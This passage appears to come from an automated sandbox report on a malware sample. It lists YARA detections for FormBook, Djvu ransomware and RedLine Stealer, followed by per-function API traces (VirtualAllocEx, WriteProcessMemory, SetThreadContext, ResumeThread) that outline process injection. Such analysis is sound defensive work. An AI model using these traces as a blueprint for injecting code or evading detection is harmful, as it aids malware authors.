Wow64 process (32bit):	true
Commandline:	C:\Program Files (x86)\windows mail\wab.exe
Imagebase:	0xf60000
File size:	516'608 bytes
MD5 hash:	251E51E2FEDCE8BB82763D39D631EF89
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000031.00000002.2285780080.0000000000AA0000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	15:35:41
Start date:	20/12/2023
Path:	C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Imagebase:	0x400000
File size:	769'536 bytes
MD5 hash:	F76F31DA2D90E4BE5C20DCF0F98366BD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Djvu, Description: Yara detected Djvu Ransomware, Source: 00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Ransomware_Stop_1e8d48ff, Description: unknown, Source: 00000033.00000002.2092525827.00000000025F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000033.00000002.2092411738.0000000002424000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	257
Total number of Limit Nodes:	25

Executed Functions

Function 050C4040 Relevance: .3, Instructions: 334COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb0e55b0fb3205d667e3a81a9531fe87daa0812391c2beb23081fa7946dd991b
Instruction ID: f76502e7a1dbf87a93f63d88eae649de256318221ef3fd236c3ecf707f89c2a6
Opcode Fuzzy Hash: eb0e55b0fb3205d667e3a81a9531fe87daa0812391c2beb23081fa7946dd991b
Instruction Fuzzy Hash: C8C1BC707007049BDB26DB76D860BAEBBF7BF8A701F1484ADD1469B2A0DB35D841CB51

Uniqueness

Uniqueness Score: -1.00%

Function 050C1930 Relevance: 1.8, APIs: 1, Instructions: 265
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 050C1C0E

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 1ec0f4588c1672e660cb1186f240d81b6d56c2d4332b6540df50b0a2cf0c5977
Instruction ID: 52fb4d8e6ec97a4fd4d820e98a49d396d8e28fde120e73e2c3d99cf2f02bf350
Opcode Fuzzy Hash: 1ec0f4588c1672e660cb1186f240d81b6d56c2d4332b6540df50b0a2cf0c5977
Instruction Fuzzy Hash: C891CF70A045259BC705CF2DD980A7EFBE2EBCA310F14C599D4599B29AD734EC41CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 050C1FA4 Relevance: 1.8, APIs: 1, Instructions: 251
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 050C21E6

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9bf0552bffbd5fc7ca8125c98c6dfd546a7f3c269ab591d34a4b8dfb0c650ac0
Instruction ID: ab29dc48caccccd99a4bdf5f027f6f3c8253b0ef0a74c1cbb6bef1aa509344a5
Opcode Fuzzy Hash: 9bf0552bffbd5fc7ca8125c98c6dfd546a7f3c269ab591d34a4b8dfb0c650ac0
Instruction Fuzzy Hash: 73A14C71D0021A9FDB10DFA8DC41BEDBBF2BF49310F1481AAE849A7690DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 050C1FB0 Relevance: 1.7, APIs: 1, Instructions: 243
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 050C21E6

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 61cd361a4dd4e22c310f3e237aad47aa991b032835ddd64ec3fdef80f02b5785
Instruction ID: 8c12c6905b7334b2eb4348b52abd3da52368f933bb632e47252ccc6ccb91c4b7
Opcode Fuzzy Hash: 61cd361a4dd4e22c310f3e237aad47aa991b032835ddd64ec3fdef80f02b5785
Instruction Fuzzy Hash: 82915A71D0021ADFDB10CFA8D841BEDBBF2BF49310F1481AAE849A7690DB749985CF91

Uniqueness

Uniqueness Score: -1.00%

Function 02F3AD68 Relevance: 1.7, APIs: 1, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6ebc7e65a02703eb298d51d4d3d3a666d362871007413c16ca58ba418ee1bdfb
Instruction ID: 70d8f0105a5bce723439d405da7791d5844ee8f2e5f6374c41f23b059b355798
Opcode Fuzzy Hash: 6ebc7e65a02703eb298d51d4d3d3a666d362871007413c16ca58ba418ee1bdfb
Instruction Fuzzy Hash: 88712470A00B058FD725DF2AD54575ABBF2BF88344F008A2ED586D7A50DB35E849CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02F344B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02F359C9

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 89b8b5e23f0a78ee2495cb824972252689540bfde7071564fbbdcfe73e02441e
Instruction ID: b3ff4d262608c15cc1dc971846158c0faf0355728bbfae4f3b918308e4ab7605
Opcode Fuzzy Hash: 89b8b5e23f0a78ee2495cb824972252689540bfde7071564fbbdcfe73e02441e
Instruction Fuzzy Hash: 4541D2B1C00619CFDB24DFA9C884ADDBBF5BF88304F64805AD508AB255DB755946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02F3590C Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 02F359C9

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: fd47ef144ac914c8e92d8db911a02dc124245b75173f6d8cfd2e55259f77f88d
Instruction ID: 0109c476a9b87ddd5a6432c80f77a2b38b4c6b16517c80f840acb12073169ea9
Opcode Fuzzy Hash: fd47ef144ac914c8e92d8db911a02dc124245b75173f6d8cfd2e55259f77f88d
Instruction Fuzzy Hash: 7941E5B1C00619CFDB24DFA9C9847DEBBF5BF48304F64805AD408AB255DB75594ACF50

Uniqueness

Uniqueness Score: -1.00%

Function 050C1D21 Relevance: 1.6, APIs: 1, Instructions: 72
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 050C1DB8

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: fe8a500e8214cb588cc497120dc05a2a3c2756c79f43f819abe3471823086648
Instruction ID: 1f4a46564952bb06097583b709c4b696cf0a22d4dea9918df67a1f8d7beddcfb
Opcode Fuzzy Hash: fe8a500e8214cb588cc497120dc05a2a3c2756c79f43f819abe3471823086648
Instruction Fuzzy Hash: A42166B19002099FCB10DFA9C881BEEBFF1FF48320F10842AE819A7240C7789954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 050C1B88 Relevance: 1.6, APIs: 1, Instructions: 71
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Wow64SetThreadContext.KERNEL32(?,00000000), ref: 050C1C0E

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: 05305779cd9f7a4e1f98d1194c60d1d46d3118f0a78c667fdbe848bebdcff76f
Instruction ID: 9618b759fe810660803aca6dac02cb42190670ab00de071a61fb982b907fe5fa
Opcode Fuzzy Hash: 05305779cd9f7a4e1f98d1194c60d1d46d3118f0a78c667fdbe848bebdcff76f
Instruction Fuzzy Hash: 902159B19002088FDB10DFAAD8857EEFFF4EF88324F10842AD459A7241C7789985CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 050C1D28 Relevance: 1.6, APIs: 1, Instructions: 69
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 050C1DB8

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b7322ea2b4a5a4ddbfe6abed9ad1eca2353ad8deb929ddc0cdba5f08976d8997
Instruction ID: 36751edce4c06f3fee347d40f838b951f79d0428765601b197d7b53b9e4b7f34
Opcode Fuzzy Hash: b7322ea2b4a5a4ddbfe6abed9ad1eca2353ad8deb929ddc0cdba5f08976d8997
Instruction Fuzzy Hash: 962166B19003099FCB10DFAAC884BDEBFF5FF48320F10842AE959A7241C7789954CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 050C1E11 Relevance: 1.6, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 050C1E98

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 863ae6159e00d0ca4a882ce37391e7312fe1f13927c9b46f74fc2101a85c6a6d
Instruction ID: 8235ec4de7809af534f7552ebffb1f03d9dbb61ad9b78739c547066afc3de13b
Opcode Fuzzy Hash: 863ae6159e00d0ca4a882ce37391e7312fe1f13927c9b46f74fc2101a85c6a6d
Instruction Fuzzy Hash: 0A2136B18003599FCB10DFAAD880AEEFFF5FF48320F10842AE558A7251C7389545CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F3D23C Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02F3D616,?,?,?,?,?), ref: 02F3D6D7

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 1d0e12202ea029dc73632815e0f0b455cfb969e92548690bdaed169a59079a5e
Instruction ID: 7721602a298389f3cdc1ad3d5c5204d54813c2f8fa0694a6a51addde0cf782d1
Opcode Fuzzy Hash: 1d0e12202ea029dc73632815e0f0b455cfb969e92548690bdaed169a59079a5e
Instruction Fuzzy Hash: 692103B5D002089FDB10CF9AD984AEEBBF4FB48310F10801AE918A7350C374A950CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 050C1E18 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 050C1E98

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: 54ce35485cb3e85ccc06263e87f0e5db3e018a800a152d38afcb71e83c028e0f
Instruction ID: d408b1b88962db2adf21307fdb5b10389e2dfa1412594f39fc2171442191bd13
Opcode Fuzzy Hash: 54ce35485cb3e85ccc06263e87f0e5db3e018a800a152d38afcb71e83c028e0f
Instruction Fuzzy Hash: D82128B1D002599FCB10DFAAC884AEEFBF5FF48310F108429E559A7250C7349554CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F3D648 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,02F3D616,?,?,?,?,?), ref: 02F3D6D7

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 14a342fa155598e349e523ec1ea1b7e0344b25ef2f4333b0b06a607b01cd7f37
Instruction ID: ae148c00481223a81e2a29919a4a6ae860d32c0913ee97f059328a6b7fa81cc3
Opcode Fuzzy Hash: 14a342fa155598e349e523ec1ea1b7e0344b25ef2f4333b0b06a607b01cd7f37
Instruction Fuzzy Hash: 9121E0B5D002189FDB10CFAAD984ADEBBF9EB48324F14842AE958A7350C374A954CF64

Uniqueness

Uniqueness Score: -1.00%

Function 050C1C60 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 050C1CD6

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 8dba36f477c4e71b3f6bae93410bc563a761b7f43904584d5cb946ac4d17ca40
Instruction ID: 7c326280eddc95b76440d3286c425df95302dd10e40c7b1d3246fdeccc85f9fa
Opcode Fuzzy Hash: 8dba36f477c4e71b3f6bae93410bc563a761b7f43904584d5cb946ac4d17ca40
Instruction Fuzzy Hash: 871167B69002488FCB10DFAAD844BEEBFF5FF88320F108419E559A7250C7759955CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 050C1879 Relevance: 1.6, APIs: 1, Instructions: 56threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 050C18E2

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8e3e8d5ebd61cc89e5d95f553d1fc00ed773085bcd71844b83e92109b1783106
Instruction ID: 755b5d456728b376a3e97dd444c98fcd461893f34fcd3fb09a59bdaefd4172b6
Opcode Fuzzy Hash: 8e3e8d5ebd61cc89e5d95f553d1fc00ed773085bcd71844b83e92109b1783106
Instruction Fuzzy Hash: AC1158B5D003488FCB20DFAAD4457EEFFF4EF89324F20842AD459A7640CA75A544CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02F3A0F0 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02F3B039,00000800,00000000,00000000), ref: 02F3B24A

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 84f1cf5a3df35c972a95da175efc98db6e6c3bdb5869e4dbc1fbde4eef724b57
Instruction ID: 736186c2ebae2fdc12ab281a38441bb79fad5497a9a3ee9f502f254345f86b69
Opcode Fuzzy Hash: 84f1cf5a3df35c972a95da175efc98db6e6c3bdb5869e4dbc1fbde4eef724b57
Instruction Fuzzy Hash: 251112B6D002089FDB21DF9AD488ADEFBF4FB88354F10852AE919A7250C375A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02F3B1D8 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,02F3B039,00000800,00000000,00000000), ref: 02F3B24A

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8905629c5bcc285754d8d802218e2625b19775322722beb3cf565d7ec5e03de3
Instruction ID: acbfeb81b5c71acc027211f63730534dad74b8046baa47005da60055de98a563
Opcode Fuzzy Hash: 8905629c5bcc285754d8d802218e2625b19775322722beb3cf565d7ec5e03de3
Instruction Fuzzy Hash: 2F1133B6D002098FCB10CF9AD884BDEFBF4BB48314F10842AD918A7250C374A545CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 050C1C68 Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 050C1CD6

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 16f56f44107c75772aed38adbb4bbd10b54c53cd840d6db5129cb13becde8817
Instruction ID: caa8b7baec2830d55af9c42e4f1c3591c3815e0330836895106f251a1d534142
Opcode Fuzzy Hash: 16f56f44107c75772aed38adbb4bbd10b54c53cd840d6db5129cb13becde8817
Instruction Fuzzy Hash: 4F1137719002499FCB10DFAAD844BDEBFF5FF88324F108419E559A7250C775A554CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 050C3149 Relevance: 1.6, APIs: 1, Instructions: 50windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 050C31AD

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 3b6609656e33fac5e82205644567c16bcbb89beed4b8d89ade6a8cf2cb123556
Instruction ID: 0018f1db95abd01a554b0968b95a44ee2330fbacfca6ba0c0400f97ab0a5b727
Opcode Fuzzy Hash: 3b6609656e33fac5e82205644567c16bcbb89beed4b8d89ade6a8cf2cb123556
Instruction Fuzzy Hash: CA11E3B58002499FDB10DF9AD885BDEFFF8FB49320F14885AD558A7240C375A584CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02F3A08C Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,?,?,?,?,?,?,?,02F3AD84), ref: 02F3AFBE

Memory Dump Source

Source File: 00000002.00000002.1681377147.0000000002F30000.00000040.00000800.00020000.00000000.sdmp, Offset: 02F30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2f30000_spfasiazx.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e725810993b82890859bd5234d50bc4e72ac0d23d5cff249fec1fc468246e876
Instruction ID: 2077456a1c3438af3f94a83ac1c9b461e8766ac8e8cfcccfe72e258517178794
Opcode Fuzzy Hash: e725810993b82890859bd5234d50bc4e72ac0d23d5cff249fec1fc468246e876
Instruction Fuzzy Hash: FC1143B2D003498FCB10CFAAD444ADEFBF4EB88314F10846AD558B7240D374A545CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 050C1880 Relevance: 1.5, APIs: 1, Instructions: 49threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE ref: 050C18E2

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 7fd29c2d414d0b4fc8249cd0d67cba6005bd66e628a49d1093def3545c93bdb3
Instruction ID: f63c96f7d1137b98134c19e57a5bd17ad182e394abc25bfe4f0039858880567e
Opcode Fuzzy Hash: 7fd29c2d414d0b4fc8249cd0d67cba6005bd66e628a49d1093def3545c93bdb3
Instruction Fuzzy Hash: 271155B1D002488BCB20DFAAC4447DEFFF4EF88324F20842AC459A7240CA34A944CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 050C3150 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 050C31AD

Memory Dump Source

Source File: 00000002.00000002.1682822806.00000000050C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 050C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_50c0000_spfasiazx.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f1d83c12138c21e7456e041fbd493ded5acca8480aa49f09d74ba0f29bd2d0f0
Instruction ID: 873094983f14fb28b70e9e505878b0d674633f0f7616dac8e6a51392480725ca
Opcode Fuzzy Hash: f1d83c12138c21e7456e041fbd493ded5acca8480aa49f09d74ba0f29bd2d0f0
Instruction Fuzzy Hash: 3F1103B58003489FDB10DF9AD884BDEBFF8FB48320F108459D958A7240C375A544CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02E3D3D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681047120.0000000002E3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e3d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1ba2e072fbc0dabfa2e937d97f20aefbb3dd4b26d2f9b04c0db84bd62250a7
Instruction ID: 440863d3e8b89d9048142afb1aad6e1599ce913e372aaeff64ed61d91f9c6bac
Opcode Fuzzy Hash: 0d1ba2e072fbc0dabfa2e937d97f20aefbb3dd4b26d2f9b04c0db84bd62250a7
Instruction Fuzzy Hash: 78213A71544204DFDB0ADF14DDC8B26BF65FB94339F20C169D9094B256C336E456C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 02E4D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681088157.0000000002E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e4d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de8bde5f6f0d982e9f835bb585571056870bb534929b51b2e33a7560c361103c
Instruction ID: 458f51ec3d99ceccb6af7f9fa2a56cd816dc79d087779ec888ba96fa331529a7
Opcode Fuzzy Hash: de8bde5f6f0d982e9f835bb585571056870bb534929b51b2e33a7560c361103c
Instruction Fuzzy Hash: 7A213471684200EFDB01DF14E9C0B26BBA5FB88318F20C66DEC0D4B352CB36D446CA65

Uniqueness

Uniqueness Score: -1.00%

Function 02E4D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681088157.0000000002E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e4d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42d00e30adf563ddd019fe76dbddcd22487e520116579133254335dfca1b2f6a
Instruction ID: b79eb00abe42579d30d61eba8f75c7e2bab94d9e64a5af41ddf120a0e47ea22d
Opcode Fuzzy Hash: 42d00e30adf563ddd019fe76dbddcd22487e520116579133254335dfca1b2f6a
Instruction Fuzzy Hash: C5210471684200DFDB14DF14E9C4B26BFA6FB84318F20C56DD80A4B396CB3AE847CA61

Uniqueness

Uniqueness Score: -1.00%

Function 02E4D005 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681088157.0000000002E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e4d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a671f4aa51f81918968fe6dc5f14009b8091dda6d834eee6cb1c65a13f63af6
Instruction ID: 9794ee94c24f736e477e2e990b865178869a337d94e5cde347e9cbe19210bfad
Opcode Fuzzy Hash: 6a671f4aa51f81918968fe6dc5f14009b8091dda6d834eee6cb1c65a13f63af6
Instruction Fuzzy Hash: CB2195755493C08FCB02CF24D994715BF71EB46218F28C5DAD8498F2A7C33A940ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 02E3D3D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681047120.0000000002E3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e3d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction ID: fdf107e2857f013329e12e470127205c680ebf2e4d4e324ccba11ade1c1413c3
Opcode Fuzzy Hash: 201b50b495cf87aa99c5283e85c62261d36f592a674eeeb3b47fc5aac64b1fd2
Instruction Fuzzy Hash: 06110372444240CFCB16CF10D9C4B16BF71FB94328F24C2A9D8090B256C33AE45ACBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02E4D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1681088157.0000000002E4D000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E4D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2e4d000_spfasiazx.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
Instruction ID: 5a58842b47fea513d8ace5c7e3bc50707c7ff5b2aa300a22ea635c3cd1d8be39
Opcode Fuzzy Hash: 48042a67946fd5b471a152cae87ddc5a96e5ad52caa5f07da488830fbc7c129d
